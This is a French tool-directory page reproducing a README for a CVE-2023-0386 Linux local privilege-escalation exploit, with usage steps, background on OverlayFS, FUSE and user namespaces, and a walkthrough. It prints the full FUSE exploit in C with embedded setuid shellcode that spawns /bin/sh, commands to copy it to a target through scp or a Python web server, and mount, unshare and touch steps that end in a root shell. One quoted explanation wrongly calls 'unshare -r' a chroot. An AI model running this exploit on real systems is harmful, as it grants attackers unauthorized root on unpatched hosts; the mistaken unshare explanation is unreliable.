Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/fanxiaoyao66/cve-2023-0386
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationÉvasion de ConteneurExploitation de Binaires
GitHubfanxiaoyao66/cve-2023-0386

CVE-2023-0386

Exploit et analyse très simples pour CVE-2023-0386. Utilise C et sh.

Voir le dépôt
2244il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

typora-copy-images-to: ./image

CVE-2023-0386

Utilisation de l'exploit :

Premièrement : Téléversez fuse.c et exp.sh dans le répertoire /tmp.

  • Vous pouvez utiliser scp ou python3 -m http.server pour téléverser le fichier vers la cible.

    root@kitploit:~
    scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp 
    scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #your machine
    

    ou

    root@kitploit:~
    cd ~/Desktop/CVE-2023-0386
    python3 -m http.server #your machine
    
    root@kitploit:~
    wget your_ip:8000/exp.sh
    wget your_ip:8000/fuse.c #target
    

Et ensuite :

root@kitploit:~
cd /tmp
/bin/bash exp.sh

Maintenant, vous êtes root !

image-20230628154304898

Ce qui suit est une analyse détaillée de la CVE-2023-0386.


Hier aussi, j'ai passé la journée sur cette vulnérabilité. En résumé, lorsque OverlayFS copie un fichier de la couche inférieure vers la couche supérieure, il ne vérifie pas si l'utilisateur de l'espace de noms du fichier de la couche inférieure est mappé à l'espace de noms utilisateur actuel, ce qui permet de définir le bit suid pour élever ses privilèges.

Cela semble très abstrait. Pour comprendre ce problème, il faut d'abord connaître quelques points :

  • Qu'est-ce que l'OverlayFS ?
  • Qu'est-ce que FUSE ?
  • Qu'est-ce qu'un espace de noms utilisateur ?
  • Pourquoi cela permet-il une élévation de privilèges ?

Qu'est-ce que l'OverlayFS ?

ChatGPT : expliquez en détail ce qu'est OverlayFS sous Linux.

OverlayFS, également appelé système de fichiers Overlay, est un système de fichiers unifié (union filesystem) du noyau Linux. Il permet de superposer plusieurs systèmes de fichiers différents pour former une vue unique et cohérente. Il a été officiellement intégré au noyau dans la version Linux 3.18.

OverlayFS comporte trois composants importants : le système de fichiers inférieur (lower filesystem), le système de fichiers supérieur (upper filesystem) et le système de fichiers fusionné (merged filesystem). Le rôle de chaque partie est le suivant :

  1. Lower filesystem (système de fichiers inférieur) : c'est la couche de base, généralement en lecture seule. Tous les fichiers et répertoires proviennent initialement de cette couche.

  2. Upper filesystem (système de fichiers supérieur) : c'est la couche supérieure, généralement accessible en écriture. Lorsque nous effectuons une opération d'écriture sur le système de fichiers, toutes les modifications sont enregistrées dans cette couche. Si un fichier existe dans le lower filesystem mais que nous voulons le modifier, une copie de ce fichier est créée dans l'upper filesystem, puis modifiée. Ce processus est appelé « copy-up ».

  3. Merged filesystem (système de fichiers fusionné) : c'est la vue finale d'OverlayFS, qui combine les systèmes de fichiers inférieur et supérieur. Lors d'une opération de lecture, OverlayFS recherche d'abord le fichier dans l'upper filesystem ; s'il ne le trouve pas, il le recherche ensuite dans le lower filesystem.

La vue logique de cette structure est la suivante :

root@kitploit:~
     ________________
    |                |
    |  Merged View   |
    |________________|
       /          \
____________    ____________
|          |    |          |
|  Lower   |    |  Upper   |
| (read-only)|  | (read-write)|
|____________|  |____________|

Une application importante d'OverlayFS concerne les environnements conteneurisés, en particulier Docker. Dans Docker, chaque couche d'image est en lecture seule et peut servir de lower filesystem pour d'autres conteneurs. Lorsque nous démarrons un nouveau conteneur, Docker crée pour lui un nouvel upper filesystem vide. Ainsi, toutes les modifications apportées au conteneur (par exemple l'installation d'un nouveau logiciel) n'affectent que l'upper filesystem et non les couches d'image partagées.

De plus, comme OverlayFS permet de monter plusieurs lower filesystem sous une couche supérieure, il est possible de créer des systèmes de fichiers à plusieurs niveaux, ce qui est largement utilisé dans les couches d'images Docker.


En résumé, les fichiers de la couche inférieure sont en lecture seule, ceux de la couche supérieure sont en lecture-écriture, et la couche fusionnée combine les fichiers des deux premières pour afficher une vue unifiée. Lorsque, dans la couche fusionnée, nous modifions un fichier qui existe dans la couche inférieure mais pas dans la couche supérieure, une copie exacte du fichier de la couche inférieure est créée dans la couche supérieure afin d'y apporter des modifications. C'est aussi le point de déclenchement de la vulnérabilité.

Qu'est-ce que FUSE ?

GPT : vous êtes un expert du noyau Linux, veuillez maintenant expliquer en détail ce qu'est FUSE ?

FUSE (Filesystem in Userspace) est un mécanisme permettant de créer des systèmes de fichiers dans l'espace utilisateur. C'est une interface fournie par le noyau Linux qui permet aux utilisateurs de développer et d'exécuter leurs propres systèmes de fichiers sans modifier le code du noyau.

L'objectif principal de FUSE est de simplifier le développement et l'utilisation de nouveaux systèmes de fichiers. Avec FUSE, vous pouvez créer des systèmes de fichiers personnalisés sans avoir à connaître les détails de nombreuses API du noyau. C'est très utile pour le débogage, le prototypage rapide, la recherche universitaire, la mise en œuvre de systèmes de fichiers très particuliers (comme les systèmes de fichiers à chiffrement transparent ou les systèmes de fichiers réseau), etc.

Dans FUSE, la majeure partie de la logique du système de fichiers s'exécute dans l'espace utilisateur. Cela facilite le développement, car l'espace utilisateur offre un environnement plus convivial : vous pouvez utiliser n'importe quel langage de programmation, vous disposez de plus de bibliothèques, la gestion des erreurs est plus simple, etc. En revanche, cela signifie également que les systèmes de fichiers FUSE sont généralement plus lents que ceux de l'espace noyau, car ils nécessitent des changements de contexte fréquents entre l'espace utilisateur et l'espace noyau.

Un système de fichiers FUSE se compose généralement de deux parties :

  1. Un processus démon (daemon) de l'espace utilisateur qui implémente la logique réelle du système de fichiers.
  2. Le module FUSE de l'espace noyau, qui traite toutes les opérations du système de fichiers, les transmet au démon de l'espace utilisateur, puis renvoie le résultat à l'appelant.

Lors du développement d'un système de fichiers FUSE, vous devez implémenter une série de fonctions de rappel correspondant à diverses opérations du système de fichiers, comme ouvrir, lire, écrire des fichiers, etc. Lorsque ces opérations se produisent, le module du noyau FUSE appelle la fonction de rappel correspondante et renvoie le résultat à l'appelant.

En résumé, FUSE fournit un cadre puissant pour implémenter des systèmes de fichiers dans l'espace utilisateur. Il simplifie leur développement et permet également de les étendre et de les modifier de manière modulaire.


En fait, FUSE permet simplement à l'utilisateur de définir un système de fichiers personnalisé, ainsi que les fichiers qu'il contient.

Nous devons utiliser le langage C pour écrire le code lié à FUSE.

Qu'est-ce qu'un espace de noms utilisateur ?

Vous êtes un expert du noyau Linux, qu'est-ce qu'un espace de noms utilisateur ?

Sous Linux, un « espace de noms » (namespace) est une fonctionnalité du noyau permettant d'isoler la vue des processus afin qu'ils ne voient que les ressources appartenant au même espace de noms. Chaque type d'espace de noms correspond à un type de ressource spécifique. Par exemple, l'espace de noms PID (Process ID) isole les identifiants de processus, l'espace de noms Net isole les interfaces et la pile réseau, l'espace de noms Mount isole les points de montage du système de fichiers, etc.

L'espace de noms utilisateur (User Namespaces) est un type d'espace de noms Linux, principalement utilisé pour isoler les ID d'utilisateurs et de groupes. Chaque espace de noms utilisateur possède son propre ensemble d'ID d'utilisateurs et de groupes. Par exemple, un processus peut s'exécuter en tant que root (UID 0) dans l'espace de noms utilisateur A, mais n'être qu'un simple utilisateur dans l'espace de noms utilisateur B.

L'avantage est que même si un processus dispose des privilèges root dans son espace de noms utilisateur, il ne peut pas affecter les ressources d'autres espaces de noms utilisateur, car dans ces autres espaces de noms, il n'est peut-être qu'un simple utilisateur. Cela accroît considérablement la sécurité du système : même si un conteneur (qui n'est en réalité qu'un ensemble de processus exécutés dans son propre ensemble d'espaces de noms) est compromis, l'attaquant ne peut pas affecter le système hôte ni les autres conteneurs.

L'espace de noms utilisateur est l'une des technologies clés des conteneurs Linux (tels que Docker, LXC, etc.). En utilisant l'espace de noms utilisateur et d'autres types d'espaces de noms, les conteneurs peuvent offrir une isolation similaire à celle des machines virtuelles sans avoir besoin de virtualisation.

En résumé, l'espace de noms utilisateur est un mécanisme de Linux permettant d'isoler les ID d'utilisateurs et de groupes, et il joue un rôle important dans l'amélioration de la sécurité du système et des conteneurs.

Alors, qu'est-ce que le mappage d'espace de noms utilisateur ?

Dans les espaces de noms utilisateur Linux, il existe un concept très important : le mappage d'espace de noms utilisateur. Ce mappage définit comment convertir les ID d'utilisateurs et de groupes entre différents espaces de noms utilisateur. En d'autres termes, un processus qui apparaît comme root dans un espace de noms utilisateur peut n'être qu'un simple utilisateur non privilégié dans l'espace de noms hôte ou dans un autre espace de noms.

Ce mécanisme de mappage peut être configuré en modifiant les fichiers /proc/[pid]/uid_map et /proc/[pid]/gid_map, où [pid] est le PID du processus. Dans ces fichiers, chaque ligne est une entrée de mappage composée de trois champs : l'ID dans l'espace de noms, l'ID hors de l'espace de noms et l'étendue des ID. Par exemple, « 0 1000 1 » signifie que l'ID 0 dans l'espace de noms est mappé sur l'ID 1000 hors de l'espace de noms.

Par exemple, un processus s'exécutant dans l'espace de noms utilisateur A peut avoir un ID utilisateur 0 et apparaître comme root. Cependant, si nous mappons 0 vers 1000 dans le mappage d'espace de noms utilisateur, alors pour l'espace de noms hôte et les autres espaces de noms utilisateur, l'ID utilisateur de ce processus sera 1000, c'est-à-dire un simple utilisateur.

De cette manière, le mappage d'espace de noms utilisateur offre un moyen de permettre à un processus de disposer de privilèges complets (par exemple, root) dans son propre espace de noms utilisateur, tout en restant un simple utilisateur dans les autres espaces de noms, ce qui est très important pour l'isolation et la sécurité.

Pourquoi cela permet-il une élévation de privilèges ?

Parce que les fichiers du système de fichiers inférieur sont hautement contrôlables par l'utilisateur (générés par FUSE), on peut définir n'importe quel fichier, par exemple un fichier suid (mais pour des raisons de sécurité, FUSE impose certaines restrictions par défaut. L'une de ces restrictions est que le système de fichiers qu'il monte par défaut est en nosuid, c'est-à-dire que les bits setuid et setgid sur un système de fichiers FUSE sont ignorés. Bien qu'il soit ignoré par FUSE, le bit suid reste présent.). Cependant, il est possible, grâce aux caractéristiques d'OverlayFS, de copier un fichier suid d'un système nosuid de la couche inférieure vers la couche supérieure, cette dernière étant un système de fichiers normal, ce qui fait qu'un fichier suid illégitime obtient de véritables privilèges suid et permet ainsi une élévation de privilèges.

Exploitation de la vulnérabilité

La préparation consiste à créer plusieurs dossiers pour construire un OverlayFS.

root@kitploit:~
cd /tmp
mkdir fuse upper overlay workdir
  • fuse est le dossier contenant le système de fichiers personnalisé de l'utilisateur et sert également de couche inférieure de l'OverlayFS.

  • upper sert de couche supérieure de l'OverlayFS.

  • overlay sert de couche fusionnée de l'OverlayFS.

  • workdir est le répertoire de travail de l'OverlayFS.

  1. Création du système de fichiers FUSE.

Le code FUSE ci-dessous est une modification de celui du maître C. https://github.com/chenaotian/CVE-2023-0386

root@kitploit:~
#define FUSE_USE_VERSION 30

#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str); //hello文件实际大小
    } else {
        res = -ENOENT;
    }

    return res;
}

static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
        return -ENOENT;
    }

    filler(buf, ".", NULL, 0);//默认显示.和..
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件

    return 0;
}

static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
    puts("[+] open_callback");
    puts(path);
    if (strcmp(path, "hello") == 0)
    {
        int fd = open("", fi->flags);

        return -errno;
    }
    return 0;
}

static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)//读文件的回调函数read
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) {//只支持读hello文件
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
    } else {
        size = 0;
    }

    return size;
}

static int ioctl_callback(const char *p, int cmd, void *arg,
                          struct fuse_file_info *fi, unsigned int flags, void *data)
{
    puts("[+] ioctl callback");
    printf("path %s\n", p);
    printf("cmd 0x%x\n", cmd);
    return 0;
}

static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
    .ioctl = ioctl_callback
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}

J'ai ajouté une fonction ioctl_callback à partir de son code, afin de pouvoir utiliser touch plus tard ; sinon, une erreur indiquant que la fonction n'est pas implémentée se produirait.

Transférez le fichier vers la machine cible via scp :

root@kitploit:~
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp/root

image-20230628144623425

Compilation :

root@kitploit:~
gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
root@kitploit:~
admin@2million:/tmp/root$ gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ ls
efuse  fuse  fuse.c  overlay  upper  workdir

Créer le système de fichiers FUSE :

root@kitploit:~
./efuse fuse

On voit qu'un fichier hello, appartenant à root et doté du bit suid, est apparu dans le dossier fuse :

image-20230628144906940

Comme le dossier fuse est actuellement monté en nosuid, même si nous exécutons le fichier, nous ne pouvons pas élever nos privilèges.

  1. Une fois le système de fichiers FUSE prêt, l'étape suivante consiste à créer un espace de noms utilisateur :
root@kitploit:~
unshare -Urm

unshare est une commande Linux qui permet de « dé-partager » certains types d'espaces de noms du processus shell actuel. Elle crée un environnement isolé, semblable à une virtualisation, mais sans nécessiter un système d'exploitation complet.

Les paramètres -Urm de la commande unshare ont les significations suivantes :

  • L'option -U signifie dé-partager l'espace de noms utilisateur. Elle fait s'exécuter le nouveau processus shell dans son propre espace de noms utilisateur, où tous les mappages d'ID d'utilisateurs et de groupes sont uniques. Cela signifie, par exemple, que même si le nouveau processus shell peut penser qu'il s'exécute en tant que root, à l'extérieur, il peut s'exécuter sous un utilisateur différent et non privilégié.
  • L'option -r signifie établir un nouveau répertoire root (chroot), de sorte que le nouveau processus shell ne puisse pas accéder au reste du système de fichiers réel. Elle sert souvent à fournir un environnement isolé, par exemple lors de la compilation de logiciels, afin d'éviter de contaminer le reste du système.
  • L'option -m signifie dé-partager l'espace de montage. Cela permet au nouveau processus shell de modifier les points de montage sans que ces modifications n'affectent d'autres processus. Par exemple, il peut monter de nouveaux systèmes de fichiers ou modifier les attributs des points de montage existants sans affecter le reste du système.

Dans l'ensemble, la commande unshare -Urm crée un environnement nouveau et isolé, qui possède ses propres utilisateurs, groupes, points de montage et répertoire root, complètement isolé du reste du système.


  1. Création du système de fichiers OverlayFS

Utilisez le système de fichiers FUSE créé comme couche inférieure, le répertoire upper comme couche supérieure et overlay comme couche fusionnée :

root@kitploit:~
mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay

À ce stade, le fichier hello est déjà apparu dans la couche fusionnée :

image-20230628150045176

Ici, nous devons modifier le fichier hello afin de créer une copie de hello dans la couche upper ; nous le faisons avec la commande touch.

Si l'on exécute touch sur un fichier existant, cela modifie son horodatage ; comme l'horodatage est une métadonnée du fichier, la modification déclenche également la copie. (Si l'on n'avait pas ajouté la fonction de rappel ioctl_callback précédemment, touch ne serait pas possible.)


La commande touch sert principalement à modifier la date d'accès et la date de modification d'un fichier, ou à créer un nouveau fichier vide si le fichier n'existe pas. Dans la plupart des cas, la commande touch n'appelle pas directement la fonction ioctl. Les appels système qu'elle utilise habituellement incluent open, close, utimes ou utimensat, etc.

ioctl est un appel système très générique, utilisé pour des opérations spécifiques à un périphérique ou pour d'autres opérations qui ne peuvent pas être exprimées par des appels système standard. Par exemple, il peut être utilisé pour modifier les paramètres d'un terminal ou interroger l'état d'un périphérique réseau. Cependant, la commande touch interagit principalement avec le système de fichiers et non avec des périphériques ; elle n'a donc généralement pas besoin d'utiliser ioctl.

Cependant, cela ne signifie pas que ioctl ne sera jamais appelé, car un système de fichiers ou un pilote de périphérique peut fournir des opérations ioctl spéciales pour des fonctionnalités particulières. Par exemple, certains systèmes de fichiers peuvent offrir une opération ioctl spécifique pour modifier l'horodatage d'un fichier. Toutefois, ce cas est très rare et ne fait pas partie du comportement habituel de la commande touch.


On voit clairement qu'en exécutant touch sur le fichier, nous avons obtenu hello dans upper.

image-20230628150319971

Ensuite, nous quittons l'espace de noms et exécutons upper/hello pour réussir l'élévation de privilèges.

image-20230628150907762

Télécharger l’outil